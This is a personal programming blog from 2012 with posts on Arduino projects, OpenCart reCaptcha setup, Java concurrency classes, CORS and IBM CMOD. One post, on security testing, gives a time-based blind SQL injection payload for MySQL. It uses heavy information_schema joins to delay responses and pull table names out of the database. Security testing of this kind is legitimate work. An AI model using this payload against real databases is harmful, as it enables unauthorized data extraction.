A Django site.
April 12, 2012

Shazin Sadakath
Shazin Sadakath
Not Just Another Blog is about »
» Low Cost Earth Quake Alarm using Arduino

Yesterday (11th of April 2012) was the first time I have ever experienced an Earth Quake in my life. It was strange because Sri Lanka is said to be a country less prone for Earth Quakes and there hasn't been one as violent as yesterday's one for at least 2 decades.

Even though most of the buildings were shaking along with the things inside for about 50 - 60 seconds, many people haven't noticed the shakes, may be due to the inexperience with Earth Quakes or due to confusion. But the most concerning thing is almost all Sri Lankan buildings are not Earth Quake safe like those in Japan. So feeling the Earth Quake and leaving the building as early as possible is crucial. Especially during night time where people will be sleeping.

For this reason I was inspired to create a Low Cost Earth Quake Alarm which will help those who can't feel an Earth Quake to get out in time and be safe.

I managed to build a small prototype using things lying around in my hack space which are;
  1. Arduino (Any Model)
  2. One Tilt Switch
  3. One Buzzer or Piezo Speaker
  4. One 1K Resistor
  5. 6 Jumper Cables
With the above components I built the below prototype


And used the following arduino sketch to detect changes in Tilt Switch which is connected to analog in pin A0 and if it exceeds a predefined threshold for a predefined period of time, alarm using the Piezo Speaker or Buzzer which is connected to pin no 10 which has PWM.

##############################
## Shazin Sadakath ##
##############################

#define TILT_SWITCH_PIN A0
#define BUZZER_PIN 10
#define MAX 100
int tiltValue = 0;
int previousTiltValue = 0;
int valueThreshold = 5;
int timeThreshold = 2 ;
int time = 0;

void setup()
{
pinMode(BUZZER_PIN, OUTPUT);
}

void loop()
{
tiltValue = analogRead(TILT_SWITCH_PIN);
if(abs(tiltValue - previousTiltValue) >= valueThreshold)
{
time = time + 1;
}
else
{
reset();
}
if(time >= timeThreshold)
{
analogWrite(BUZZER_PIN, MAX);
delay(500);
reset();
}
previousTiltValue = tiltValue;
delay(500);
}

void reset()
{
time = 0;
previousTiltValue = 0;
analogWrite(BUZZER_PIN, 0);
}

Finally I tested this with some minor shakes and it works. The alarm is going off until the shaking stops completely.



In Sri Lanka we can't buy off the shelf Commercial, Highly Accurate Earth Quake Detectors or Alarms yet so this prototype would be a life saver. Mounting this on a wall or on the roof where it is less like to be disturbed by people's movement and covering it in a box would make it less likely to produce false alarms.

Constructive Criticism is always welcome!

April 7, 2012

Shazin Sadakath
Shazin Sadakath
Not Just Another Blog is about »
» reCaptcha Captcha in Open Cart Register Page

It has been quite a while since I posted anything on my blog. Recently I have been working on my small business web site and used opencart to create that web site. But by default Open Cart doesn't have a captcha for registering. Due to high no of bots available to create false accounts, it is a must to have captcha.

There is a post in Open Cart forum which shows how to enable opencart default captcha library in the registration page. But I wanted to use recaptcha which is much more hard to crack using image processing bots, has a built in audio playback and more importantly each time someone uses it in the back end they are helping to digitize scanned pages of books.

You need to register in recaptcha to get a public and private key for your domain name. After that you need to download the php library for recaptcha.

Step 1 :

Put the downloaded recaptchalib.php in /system directory

Step 2 :

Go to /catalog/view/theme/default or your custom theme folder /template/account/ and open register.tpl

Find the below code
    <h2><?php echo $text_newsletter; ?></h2>
        <div class="content">
          <table class="form">
            <tr>
              <td><?php echo $entry_newsletter; ?></td>
              <td><?php if ($newsletter == 1) { ?>
                <input type="radio" name="newsletter" value="1" checked="checked" />
                <?php echo $text_yes; ?>
                <input type="radio" name="newsletter" value="0" />
                <?php echo $text_no; ?>
                <?php } else { ?>
                <input type="radio" name="newsletter" value="1" />
                <?php echo $text_yes; ?>
                <input type="radio" name="newsletter" value="0" checked="checked" />
                <?php echo $text_no; ?>
                <?php } ?></td>
            </tr>
    </table>
    </div>


and put this below
<div class="content">
&nbsp;<span class="required">*</span>   <b><?php echo $entry_captcha; ?></b><br />
    <?php
          require_once('system/recaptchalib.php');
          $publickey = "<Your Public Key>"; // you got this from the signup page
          echo recaptcha_get_html($publickey);
        ?>

    <span class="error"><?php echo $error_captcha; ?></span>
</div>


Step 3 :

Go to catalog/language/english/account.register.php and find this line
$_['entry_confirm']        = 'Password Confirm:';


and put this below
$_['entry_captcha']        = 'Enter the code in the box below:';


and find this line
$_['error_agree']          = 'Warning: You must agree to the %s!';


and put this below
$_['error_captcha']        = 'The captcha code was entered incorrectly, please try again!';


Step 4 :

Go to catalog/controller/account/register.php and find this line
$this->data['button_continue'] = $this->language->get('button_continue');


and put this line below
$this->data['entry_captcha'] = $this->language->get('entry_captcha');


find this line
if (isset($this->error['zone'])) {
    $this->data['error_zone'] = $this->error['zone'];
} else {
    $this->data['error_zone'] = '';
}


and put this below
if (isset($this->error['captcha'])) {
    $this->data['error_captcha'] = $this->error['captcha'];
} else {
    $this->data['error_captcha'] = '';
}


find this line
if (isset($this->request->post['newsletter'])) {
    $this->data['newsletter'] = $this->request->post['newsletter'];
} else {
    $this->data['newsletter'] = '';
}


and put this below
if (isset($this->request->post['captcha'])) {
    $this->data['captcha'] = $this->request->post['captcha'];
} else {
    $this->data['captcha'] = '';
}


find this line
private function validate() {
if ((strlen(utf8_decode($this->request->post['firstname'])) < 1) || (strlen(utf8_decode($this->request->post['firstname'])) > 32)) {
    $this->error['firstname'] = $this->language->get('error_firstname');
}


and put this below
require_once('system/recaptchalib.php');
$privatekey = "<Private Key>";
$resp = recaptcha_check_answer ($privatekey,
                      $_SERVER["REMOTE_ADDR"],
                      $_POST["recaptcha_challenge_field"],
                      $_POST["recaptcha_response_field"]);

if (!$resp->is_valid) {
    this->error['captcha'] = $this->language->get('error_captcha');
}


That's it. Now you should see the recaptcha captcha in your registration page!

February 10, 2012

Shazin Sadakath
Shazin Sadakath
Not Just Another Blog is about »
» Time Based SQL Injection using heavy queries in MySQL

During my work I had to test Time Based SQL Injection in MySQL. But many blogs showcased ways to achieve this using SLEEP() and BENCHMARK() routines. SLEEP() routine is not available in MySQL 4.0 so the correct routine should be used based on the MySQL version.

There is another approach for Time Based SQL Injection which is Time Based SQL Injection using heavy queries. This is used for Databases which do not have timing routines such Oracle.

But to test effectively both 4.0 and 5.0 versions of MySQL I had to write a Time Based SQL Injection using heavy queries. After some googling and reading articles I came up with the following query which produces a half a second delay.

SELECT * FROM <ANY TABLE NAME> WHERE 1=1 AND
(SELECT COUNT(*)
FROM information_schema.columns AS col1
NATURAL JOIN information_schema.columns AS col2,
information_schema.columns AS col3,
information_schema.columns AS col4,
information_schema.columns AS col5,
information_schema.columns AS col6,
information_schema.columns AS col7,
information_schema.columns AS col8,
information_schema.columns AS col9,
information_schema.columns AS col10)=0
AND 300>
(SELECT ASCII(SUBSTRING(table_name,1,1))
FROM information_schema.columns
ORDER BY table_name
LIMIT 1);

This was tested on MySQL 5.0 with information_schema.columns table containing 346 rows.

January 30, 2012

Shazin Sadakath
Shazin Sadakath
Not Just Another Blog is about »
» Thread Safe Blocking List

In Java Concurrent Package there are many useful concurrent synchronizer classes such as BlockingQueue, Semaphore, CountDownLatch and CyclicBarrier. But what if we want an bounded List with insertion order preserved where if the upper limit of the List is met new insertions must be blocked until some elements are removed. The following BlockingList implementation does exactly that. This List uses a Semaphore to synchronize the flow of adding and removing. When the maximum amount of elements are in the List and another call to add is made, the add will be blocked until an element is removed from the List.
import java.util.*;
import java.util.concurrent.*;

/**
* @author Shazin Sadakath
*
*/

public class BlockingList<T> {
private final Semaphore semaphore;
private final List<T> list = Collections.synchronizedList(new ArrayList<T>());

public BlockingList(int max) {
semaphore = new Semaphore(max);
}

public boolean add(T t) throws InterruptedException {
semaphore.acquire();
boolean result = false;
try {
result = list.add(t);
} finally {
if(!result) {
semaphore.release();
}
}
return result;
}

public T remove(int index) {
T result = null;
try {
result = list.remove(index);
} finally {
if(result != null) {
semaphore.release();
}
}
return result;
}

public T get(int index) {
return list.get(index);
}

public int indexOf(T t) {
return list.indexOf(t);
}

public T removeIfPresent(T t) {
T result = null;
synchronized(list) {
if(list.contains(t)) {
result = remove(indexOf(t));
}
}
return result;
}

public boolean putIfAbsent(T t) throws InterruptedException {
boolean result = false;
synchronized(list) {
if(!list.contains(t) && semaphore.availablePermits() != 0) {
result = add(t);
}
}
return result;
}
}

January 29, 2012
» Why REST with JSONP when you can CORS?

JSONP (JSON with padding) is a hack used by JavaScript developers by wrapping a JSON (JavaScript Object Notation) document within a function call. So, if the JSON document looked like {"givenName":"John", "familyName":"Smith"}, the JSONP for the same would be callback({"givenName":"John", "familyName":"Smith"}) (callback being the commonly used wrapper function). So, if you are familiar with JSONP, you will realize that it is used to make Cross-Domain calls where JSON is not accepted by the browsers if they come from another domain. Thus, AJAX requests across a different domain was not possible through JSON and hence using JSONP was the common hack.

The problem with using JSONP is that it is called as a JavaScript function response and hence CORS-supportyou will not be able to use it as normal HTTP calls. That means you would not be able to send HTTP headers and that can be a problem at many places. There are hacks to deal with the problem, but these are best described as hacks. Another limitation of the JSONP hack was that you could only make GET requests and nothing more. Hence to make a standard, W3C created the CORS (Cross-Origin Resource Sharing) standard which nearly all modern browsers support.

The main issue with using JSON or AJAX (XHR – XMLHttpRequest) across domain was that browsers would not be able to acknowledge if the response was malicious or in response to the request that they made. The same-origin-policy, prevented making cross-domain requests. Then came CORS, a technique by browsers to check the origin policy first and then accept responses. So a server that wants to allow getting any type of HTTP request from another domain would list the domain or * in its HTTP response header as follows:

Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: http://example.com:8080 http://foo.example.com

This means that there is some modification to be done on the server-side resource to add these headers to the response. Another point to note is that it works with XHR requests as well as client errors (4xx) and server errors (5xx).

Excellent examples on how to use CORS can be found at HTML5Rocks. On the server-side of things, you can find resources to enable CORS.

In Tomcat for a Java web application, you can enable CORS using the CORS Filter library. Basically you copy the jar file into Tomcat lib or WEB-INF/lib of your application and then add filters in your application’s web.xml or tomcat’s global conf/web.xml. For a resource which requires Basic Authentication and Cookies can be configured as follows:

<filter>
<filter-name>CORS</filter-name>
    <filter-class>com.thetransactioncompany.cors.CORSFilter</filter-class>
    <init-param>
     <param-name>cors.allowOrigin</param-name>
        <param-value>*</param-value>
    </init-param>
    <init-param>
     <param-name>cors.supportedMethods</param-name>
        <param-value>GET, POST, HEAD, PUT, DELETE</param-value>
    </init-param>
    <init-param>
     <param-name>cors.supportedHeaders</param-name>
        <param-value>Content-Type, Last-Modified</param-value>
    </init-param>
    <init-param>
        <param-name>cors.exposedHeaders</param-name>
        <param-value>Set-Cookie</param-value>
    </init-param>
    <init-param>
        <param-name>cors.supportsCredentials</param-name>
        <param-value>true</param-value>
    </init-param>
</filter>
<filter-mapping>
        <filter-name>CORS</filter-name>
        <servlet-name>MyServlet</servlet-name>
</filter-mapping>

Instructions for Cookies in Safari can be challenge. A nice post to workaround can be found here.

January 24, 2012

Shazin Sadakath
Shazin Sadakath
Not Just Another Blog is about »
» A Comparison of CountDownLatch, CyclicBarrier and Semaphore

Recently I have been developing some applications with multithreading using java. And I wanted to use waiting of all Child Threads to finish in order to continue on with the Parent thread. I did some research and found out that from Java 1.5 onwards there have been some classes introduced within java.util.concurrent package where the scenario I am trying to create can be. the classes are;

  • CountDownLatch
  • CyclicBarrier
  • Semaphore
CountDownLatch and CyclicBarrier on the first look seems to do the same task and I read some blogs where they have tried to explain the difference of the two. Most common differences many were saying were;
  1. CountDownLatch can not be reused after meeting the final count.
  2. CountDownLatch can not be used to wait for Parallel Threads to finish.
  3. CyclicBarrier can be reset thus reused
  4. CyclicBarrier can be used to wait for Parallel Threads to finish.
From these explanation the picture I got was this;

If a Main thread creates 5 different thread. CountDownLatch can be used by the Main Thread to wait on the Child Threads. Where as CyclicBarrier can be used to enable waiting on Threads until each other finish.
Thus CountDownLatch is a top down waiting where as CyclicBarrier is across waiting.

But this wasn't convincing enough for me because no blog clearly explained the practical usage of the two classes. Furthermore there weren't not much talk about the powerful Semaphore class in those either. So I did some testing on that too and this is what I found out.

I try to explain the Theoretical as well as Practical use of the 3 classes. Ok here goes.

CountDownLatch can be used to monitor the completion of the Children Threads if the size of the created children is known forehand. CountDownLatch enables a Thread or Threads to wait for completion of Children Threads. But there is no waiting amongst the Children until they finish each others tasks. Children may execute asynchronously and after their work is done will exit making a countdown.

Practical Example : Main thread creates 10 Database Connections and Creates 10 different Threads and assigns those DB connection to the threads one each. But the Main thread must wait until all 10 Threads finish their DB Operation before closing the DB Connections. Children will exit after performing the DB Operation. A CountDownLatch can be used in this scenario.




import java.util.concurrent.*;
import java.util.*;
import java.text.*;
/**
* @author Shazin Sadakath
*
*/
public class CountDownLatchTest {
private static final int MAX_THREADS = 5;

public static void main(String[] args) throws Exception {
CountDownLatch countDownLatch = new CountDownLatch(MAX_THREADS);

System.out.println("Spawning Threads");
for(int i=0;i<MAX_THREADS;i++) {
Thread t = new Thread(new WorkerThread(countDownLatch, String.format("Thread-%d", i)));
t.start();
}
System.out.println("Spawning Finished");
System.out.println("Waiting All Threads to Finish");
countDownLatch.await(); // Await is void
System.out.println("All Threads are Finished");
}

private static class WorkerThread implements Runnable {
private CountDownLatch countDownLatch;

private String name;

public WorkerThread(CountDownLatch countDownLatch, String name) {
this.name = name;
this.countDownLatch = countDownLatch;
}

public void run() {
try {
SimpleDateFormat sdf = new SimpleDateFormat("dd/MM/yyyy HH:mm:ss");
System.out.printf("%s : Doing Some Work on %s\n", getFormattedDate(sdf), name);
Thread.sleep(getRandomWaitTime());
System.out.printf("%s : Doing Some more work on %s\n", getFormattedDate(sdf), name);
Thread.sleep(getRandomWaitTime());
System.out.printf("%s : Finished work on %s\n", getFormattedDate(sdf), name);
countDownLatch.countDown();
System.out.printf("%s : Count Down Latch count on %s is %d\n", getFormattedDate(sdf), name, countDownLatch.getCount());
} catch(Exception e) {
e.printStackTrace();
}
}

private String getFormattedDate(SimpleDateFormat sdf) {
return sdf.format(new Date());
}

private int getRandomWaitTime() {
return (int) ((Math.random() + 1) * 1000);
}

}
}

CyclicBarrier can be used to create a set of Children Threads if the size of the Threads created is known forehand. CyclicBarrier can be used to implement waiting amongst Children Threads until all of them finish. This is useful where parallel threads needs to perform a job which requires sequential execution. For example 10 Threads doing steps 1, 2, 3, but all 10 Threads should finish step one before any can do step 2. Cyclic barrier can be reset after all Threads are finished execution. This is a distinguishing feature from a CountDownLatch. A CountDownLatch can only be used for a single count down. Additionally a CyclicBarrier can be assigned an Additional Thread which executes each time all the Children Threads finish their respective tasks.

Practical Example : Processing of a Image Pixels Matrix row by row in the first step and in the second step saving the Pixel values to file row by row. In this scenario if there are 10 Threads running simultaneously to process the matrix row by row then all 10 should wait until all are finished before they move on to the next step which is saving those rows to file.


import java.util.concurrent.*;
import java.util.*;
import java.text.*;
/**
* @author Shazin Sadakath
*
*/
public class CyclicBarrierTest {
private static final int MAX_THREADS = 5;

public static void main(String[] args) {
CyclicBarrier cyclicBarrier = new CyclicBarrier(MAX_THREADS, new Runnable() {
private int count = 1;

public void run() {
System.out.printf("Cyclic Barrier Finished %d\n", count++);
}
});

System.out.println("Spawning Threads");
for(int i=0;i<MAX_THREADS;i++) {
Thread t = new Thread(new WorkerThread(cyclicBarrier, String.format("Thread-%d", i)));
t.start();
}
System.out.println("Spawning Finished");
}

private static class WorkerThread implements Runnable {
private CyclicBarrier cyclicBarrier;

private String name;

public WorkerThread(CyclicBarrier cyclicBarrier, String name) {
this.name = name;
this.cyclicBarrier = cyclicBarrier;
}

public void run() {
try {
SimpleDateFormat sdf = new SimpleDateFormat("dd/MM/yyyy HH:mm:ss");
System.out.printf("%s : Doing Step 1 Work on %s\n", getFormattedDate(sdf), name);
Thread.sleep(getRandomWaitTime());
System.out.printf("%s : Doing Step 1 more work on %s\n", getFormattedDate(sdf), name);
Thread.sleep(getRandomWaitTime());
System.out.printf("%s : Finished Step 1 work on %s\n", getFormattedDate(sdf), name);
int count = cyclicBarrier.await(); // Await returns an int which is the arrival index 1 means first 0 means last
System.out.printf("%s : Cyclic Barrier count on %s is %d\n", getFormattedDate(sdf), name, count);
if(count == 0) {
cyclicBarrier.reset();
}
System.out.printf("%s : Doing Step 2 Batch of Work on %s\n", getFormattedDate(sdf), name);
Thread.sleep(getRandomWaitTime());
System.out.printf("%s : Doing Some more Step 2 Batch of work on %s\n", getFormattedDate(sdf), name);
Thread.sleep(getRandomWaitTime());
System.out.printf("%s : Finished Step 2 Batch of work on %s\n", getFormattedDate(sdf), name);
count = cyclicBarrier.await();
System.out.printf("%s : Cyclic Barrier count end of Step 2 Batch of work on %s is %d\n", getFormattedDate(sdf), name, count);
} catch(Exception e) {
e.printStackTrace();
}
}

private String getFormattedDate(SimpleDateFormat sdf) {
return sdf.format(new Date());
}

private int getRandomWaitTime() {
return (int) ((Math.random() + 1) * 1000);
}

}
}



Semaphore can be used to create a set of Children Threads even when the size of the Threads to be created is not known fore hand. This is because a Semaphore can wait until a number of releases have been made but that number is not required to initialize the Semaphore. Semaphores can be used in other scenarios such as Synchronizing between different threads such as Publisher, Subscriber scenario.

Practical Example : Traversing through a folder with sub folders within sub folders and if  JPEG files are found, move them to a destination directory and then zip them. In this scenario the folder traversing is done recursively until a JPEG file is found. And then a Thread is invoked to move it to destination directory. But zipping needs to wait until all JPEG files are moved to the destination directory. In this scenario no of JPEG files available in the folder structure is not known but the zipping needs to wait till all files are successfully moved. Ideal scenario for a Semaphore based waiting.

import java.util.concurrent.*;
import java.util.*;
import java.text.*;
/**
* @author Shazin Sadakath
*
*/
public class SemaphoreTest {
private static final int MAX_THREADS = 5;

public static void main(String[] args) throws Exception {
Semaphore semaphore = new Semaphore(0);

System.out.println("Spawning Threads");
int threadCount = 0;
Random random = new Random();
for(int i=0;i<MAX_THREADS;i++) {
// Threads created will not always be MAX_THREADS
// Because Threads are created only if Random no is Even.
// Thus the No of Threads unknown at Semaphore Initialization
if(random.nextInt(9999) % 2 == 0) {
Thread t = new Thread(new WorkerThread(semaphore, String.format("Thread-%d", i)));
t.start();
threadCount++;
}
}
System.out.println("Spawning Finished");
System.out.println("Waiting All Threads to Finish");
semaphore.acquire(threadCount);
System.out.println("All Threads are Finished");
}

private static class WorkerThread implements Runnable {
private Semaphore semaphore;

private String name;

public WorkerThread(Semaphore semaphore, String name) {
this.name = name;
this.semaphore = semaphore;
}

public void run() {
try {
SimpleDateFormat sdf = new SimpleDateFormat("dd/MM/yyyy HH:mm:ss");
System.out.printf("%s : Doing Some Work on %s\n", getFormattedDate(sdf), name);
Thread.sleep(getRandomWaitTime());
System.out.printf("%s : Doing Some more work on %s\n", getFormattedDate(sdf), name);
Thread.sleep(getRandomWaitTime());
System.out.printf("%s : Finished work on %s\n", getFormattedDate(sdf), name);
semaphore.release();
} catch(Exception e) {
e.printStackTrace();
}
}

private String getFormattedDate(SimpleDateFormat sdf) {
return sdf.format(new Date());
}

private int getRandomWaitTime() {
return (int) ((Math.random() + 1) * 1000);
}

}
}
In conclusion, Each task has its separate unique use and it is Software Engineer's responsibility to understand which one is more suitable for the scenario they have to solve. In my case however CountDownLatch was the ideal one and I used it with pretty much success. It is advised to use these classes instead of trying to implement similar behavior on our own because they are developed and tested by Sun Microsystems expert Engineers.

January 18, 2012

Shazin Sadakath
Shazin Sadakath
Not Just Another Blog is about »
» IBM CMOD Folder Field Default Value Retrieval Using ODWEK API

IBM Content Manager on Demand (CMOD) is a Enterprise Content Management system which enables to archive resource files and retrieve them whenever required. It has two different methods to access the resources.

  1. A Set of Executable Files (.EXE or .OUT) which can be used to manage the resources.
  2. On Demand Web Enable Kit (ODWEK) which is an API which can be used by any external application.
ODWEK is used by IBM Webi (Web Interface of CMOD) to manage the resources.

As part of my work I had to retrieve Default values of Fields specified in each Application Group in their respective Folder so that any external application can make use of the Default Values.

After some googling and trial and error I found out that it can be done using the ODCriteria.getSearchValues() method which would return a String array of Default values per field. The following code does the required.

import java.util.Enumeration;

import com.ibm.edms.od.ODConfig;
import com.ibm.edms.od.ODCriteria;
import com.ibm.edms.od.ODFolder;
import com.ibm.edms.od.ODServer;
/**
* ODWEK Testing Class
*
* @author Shazin Sadakath
*
*/
public class ODWEKTest {


public static void main(String[] args) {
ODConfig odConfig = new ODConfig();
ODServer server = new ODServer(odConfig);
server.setUserId("administrator");
server.setPassword("1234567");
server.setPort(12238);
server.setServerName("localhost");

try {
server.initialize("ODPing");
server.logon();
Enumeration<ODFolder> folders = server.getFolders();
if(folders != null) {
while(folders.hasMoreElements()) {
ODFolder folder = folders.nextElement();
try {
folder.open();
} catch(Exception e) {
continue;
}
System.out.println("Folder : "+folder.getName());
Enumeration<ODCriteria> fields = folder.getCriteria();
while(fields.hasMoreElements()) {
ODCriteria field = fields.nextElement();
System.out.println("\tField : "+field.getName());
String[] fixedValues = field.getSearchValues();
if(fixedValues != null) {
for(String dv:fixedValues) {
System.out.println("\t\tDefault Value : "+dv);
}
}
}
folder.close();
}
}
} catch(Exception e) {
e.printStackTrace();
} finally {
try {
server.logoff();
} catch (Exception e) {
e.printStackTrace();
}
server.terminate();
}
}
}

ODApi.jar is required and java.library.path VM Argument must be set to point to the ODWEK Installation Directory in order to load required Libraries

January 8, 2012
» EMR at JSS Bilaspur – In pursuit of happyness

Over the last 3yrs, I have travelled across the world and looked at 100+ health facilities of different scales. My last encounter with a health facility in rural Bilaspur was very different. Having looked at systems of practice in a variety of health facilities including subcenters, private clinics, primary health centers, community health centers, district hospitals, tertiary hospitals and super-specialty hospitals, each of these places have different characteristics. What makes Jan Swasthya Sahyog (JSS), situated in rural Bilaspur in Chattisgarh special is the motivation levels among all the staff at the health facility. This includes clinicians, nurses, technicians and computer operators… And the motivation of these people stems from the fact that they still believe in care, rather than just providing health services. I use “still” because in my worldview of health facilities, most often I see people missing out on the “care” from the notion of health-care.

My visit to JSS was for volunteer work that I have been doing over the last few months to see an Electronic Medical Record (EMR) system to be setup at JSS. Over 100 volunteers across the world have come together in this pursuit to build an EMR system that is easy to use, suited to low-resource settings and can help improve work of the providers as well as help provide better services to patients. JSS was founded 15yrs back by post-graduates doctors of All India Institute of Medical Sciences (AIIMS), India’s most prestigious medical school and hospital to provide healthcare to people who are deprived from it because of poverty, neglect and lack of development. And when I visited JSS on Christmas 2011, I could see the savior work done by JSS for the many people who come from far-flung places because they are treated with dignity and care.

The EMR system broadly from interviews and discussions with some doctors, nurses, other staff and my interpretation of the context needs to do the following:

  1. Help to improve efficiency in use of resources and providing patient care
  2. Help to maintain correct medical practices through validations
  3. Help to understand who, what, why is being treated at JSS

EMRs or for that matter any computerization process advertises many-fold benefits. Technology is most often considered the silver bullet that will solve all problems. From my experience this is rarely the case. So these 3 points might provide a guiding path to decisions that we make in the design of the EMR. In the design of the EMR, just like JSS we have to put “care” at the forefront of our efforts rather than technology prowess. Thus, this system is envisaged to be a point-of-care systems where providers will look up records and use the system to provide “care”.

The other very unique thing about JSS is that is it rooted in the locale of the context. Having seen other health facilities setup by “change-makers-coming-from-the-outside”, JSS is uniquely very much part of the context. This is one of the reasons I see why people come from more than 100kms away to JSS for treatment. People view JSS as locals and one among their own. This is one aspect that I think the EMR system should incorporate. It should embody in itself the locale. By locale, I mean the local practices, language, usability… among other things.

I would say we have some lofty goals for the EMR. One that the project lead calls as “Linux of EMRs”, but in my opinion even if we achieve more humble ends, like not causing burden to providers and patients that would make me happy. It is this pursuit that drives me to work towards this cause. I call it a pursuit because I realize this is not something that is a stagnant phenomenon. It will change with every small change that we make. Every morning it is this pursuit of happyness that drives me to understand what an EMR system would be of use at JSS.

December 22, 2011

Shazin Sadakath
Shazin Sadakath
Not Just Another Blog is about »
» Batch File to Make Copies of a File in a Loop

During my work time I had to create a batch of files from a single file so that those can be used to load test a system. I wrote small batch file which does the job

SET /p NOOFFILES="No Of Files : "
SET I=0
SET COPYCMD=/Y
:Start
CP ./File.zip ./File-%I%.zip
SET /a I+=1
IF %NOOFFILES% == %I% (
GOTO End
) ELSE (
GOTO Start
)
:End
The script first prompts for the no of files which needs to be created and then creates those files.

December 21, 2011

Shazin Sadakath
Shazin Sadakath
Not Just Another Blog is about »
» Arduino Google Voice Activated Servo Motor Controlling using Android

I was having some free time and wanted to put learn Android development. I found a Great Android Application called SL4A (Scripting Layer for Android) which is an intermediate Android app which sits between the Android OS native methods and popular scripting languages such as Shell Script, Python, Perl etc.

It opens up many possibilities to develop applications in Android really quickly with interpreted languages like Python. I always wanted to try out Door unlocking with an Android Google Voice API. For this system I wanted to connect to Wifi network and given the Voice command open or close a Door lock. So I came up with the following Circuit using Arduino;

Things required to build the Prototype.

  1. One Arduino (Any model)
  2. A Breadboard
  3. A Servo Motor
  4. Two LEDs (Green and Red)
  5. Two 1K resistors for LEDs
  6. Jumper Cables
Using the above mentioned equipment I put up the following prototype. 


The Green LED is driven using Pin 2, The Red LED is driven using Pin 3 and the Servo motor is attached to Pin 9 (Analog Output with PWM).

Android phone I have is a Samsung Galaxy ACE with Android OS 2.3.3 Gingerbread. I installed SL4A and  Python for Android to enable Python Scripting in Android.

#=======================================
#= Shazin Sadakath =
#=======================================

import android
import socket
# Android API Object SL4A Specific
droid = android.Android();

# Hostname or IP
hostname = "192.168.1.65";
# Port
port = 10000;
data = "";
# Creating a UDP Socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM);
# Connecting to Host (Usually not required since it is UDP)
s.connect((hostname,port));
print "Connected!";

exit = False;
while not exit:
# Using Android API for Google Voice and Recognizing command
data = droid.recognizeSpeech().result;
# Command is open or close proceding it to the Server else Error message
if data == "open" or data == "close":
# Sending command
s.sendto(data,(hostname,port));
# Recieving an ACK since UDP is unreliable
data = s.recvfrom(1024);
print "Ack ", data[0];
# If ACK is success ending the program
if data[0] == "success":
exit = True;
else:
print "Invalid Command";


The Middle Man in this application is a Java Thread based UDP Server which listens for UDP packets from a connected Android app and Does the Serial communication to the Arduino Microcontroller.

import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.SocketException;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
*
* @author Shazin Sadakath
*/
public class SpeechDoor implements Runnable {
private DatagramSocket socket;

public SpeechDoor() {
try {
ArduinoBridge.init("COM27");
socket = new DatagramSocket(10000);
new Thread(this).start();
} catch (SocketException ex) {
Logger.getLogger(SpeechDoor.class.getName()).log(Level.SEVERE, null, ex);
}
}

public void run() {
byte[] data;
boolean success;
DatagramPacket recv, ack;
while (true) {
try {
data = new byte[1024];
success = false;
recv = new DatagramPacket(data, data.length);
System.out.printf("Waiting on Socket : %s:%d\n", socket.getLocalAddress().toString(), socket.getPort());
socket.receive(recv);
System.out.printf("Packet Recieved From : %s:%d\n", recv.getAddress().toString(), recv.getPort());
String value = new String(data, recv.getOffset(), recv.getLength());
System.out.printf("Value : %s\n", value);
if("open".equals(value)) {
ArduinoBridge.writeToArduino((byte) 1);
success = true;
} else if("close".equals(value)) {
ArduinoBridge.writeToArduino((byte) 2);
success = true;
}
if(success) {
data = "success".getBytes();
} else {
data = "fail".getBytes();
}
ack = new DatagramPacket(data, data.length, recv.getAddress(), recv.getPort());
socket.send(ack);
success = false;
Thread.sleep(1000);
} catch (Exception ex) {
Logger.getLogger(SpeechDoor.class.getName()).log(Level.SEVERE, null, ex);
}
}
}

public static void main(String[] args) {
new SpeechDoor();
}
}


Arduino Serial Communication is done using the RXTX Library for Serial Communication.


import gnu.io.CommPortIdentifier;
import gnu.io.SerialPort;
import java.io.OutputStream;
import java.util.Enumeration;

/**
*
* @author Shazin Sadakath
*/
public class ArduinoBridge {

private static SerialPort port = null;
private static CommPortIdentifier cpi = null;

public static void init(String p) {
Enumeration enums = CommPortIdentifier.getPortIdentifiers();

while (enums.hasMoreElements()) {
cpi = (CommPortIdentifier) enums.nextElement();
if (p.equals(cpi.getName())) {
break;
}
}

if (cpi != null) {
try {
port = (SerialPort) cpi.open("ArduinoJavaBridge", 1000);
if (port != null) {
port.setSerialPortParams(9600,
SerialPort.DATABITS_8,
SerialPort.STOPBITS_1,
SerialPort.PARITY_NONE);
}

System.out.println("Ready!");
//new Thread(new ArduinoBridge()).start();

} catch (Exception e) {
e.printStackTrace();
}


}
}

public static void writeToArduino(byte value) {
try {

OutputStream os = null;

os = port.getOutputStream();

os.write((byte) 0xff);
os.write((byte) (value));
os.flush();

if (os != null) {
os.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}


}


Finally the Arduino Sketch which is Loaded in to the Microcontroller


/*
* Shazin Sadakath
*/

#include <Servo.h>
#define MAX 150
#define MIN 0

int greenLedPin = 2;
int redLedPin = 3;
int servoPin = 9;
int command = 0;
boolean open = false;

Servo doorLock;

void setup() {
Serial.begin(9600);
doorLock.attach(9);
pinMode(greenLedPin, OUTPUT);
pinMode(redLedPin, OUTPUT);
digitalWrite(greenLedPin, LOW);
digitalWrite(redLedPin, HIGH);
}

void loop() {
if(Serial.available() >= 2) {
if(Serial.read() == 0xff) {
command = Serial.read();
if(command == 1) {
if(!open) {
doorLock.write(MAX);
digitalWrite(redLedPin, LOW);
digitalWrite(greenLedPin, HIGH);
open = true;
}
} else if(command == 2) {
if(open) {
doorLock.write(MIN);
digitalWrite(greenLedPin, LOW);
digitalWrite(redLedPin, HIGH);
open = false;
}
}
}
}
delay(10);
}

The video of the System is below. The accuracy completely depends on the way you pronounce the words "open" and "close", Surrounding noise and Google Voice API. In this video as you can see the The "open" word is not recognized first time. But the close word is.



Constructive Criticism is always welcome!

Trackbacks/Pings
  1. An Exercise in Servo Voice Control with Android - Hackaday 
  2. A Voice Activated Servo - SL4A Tutorials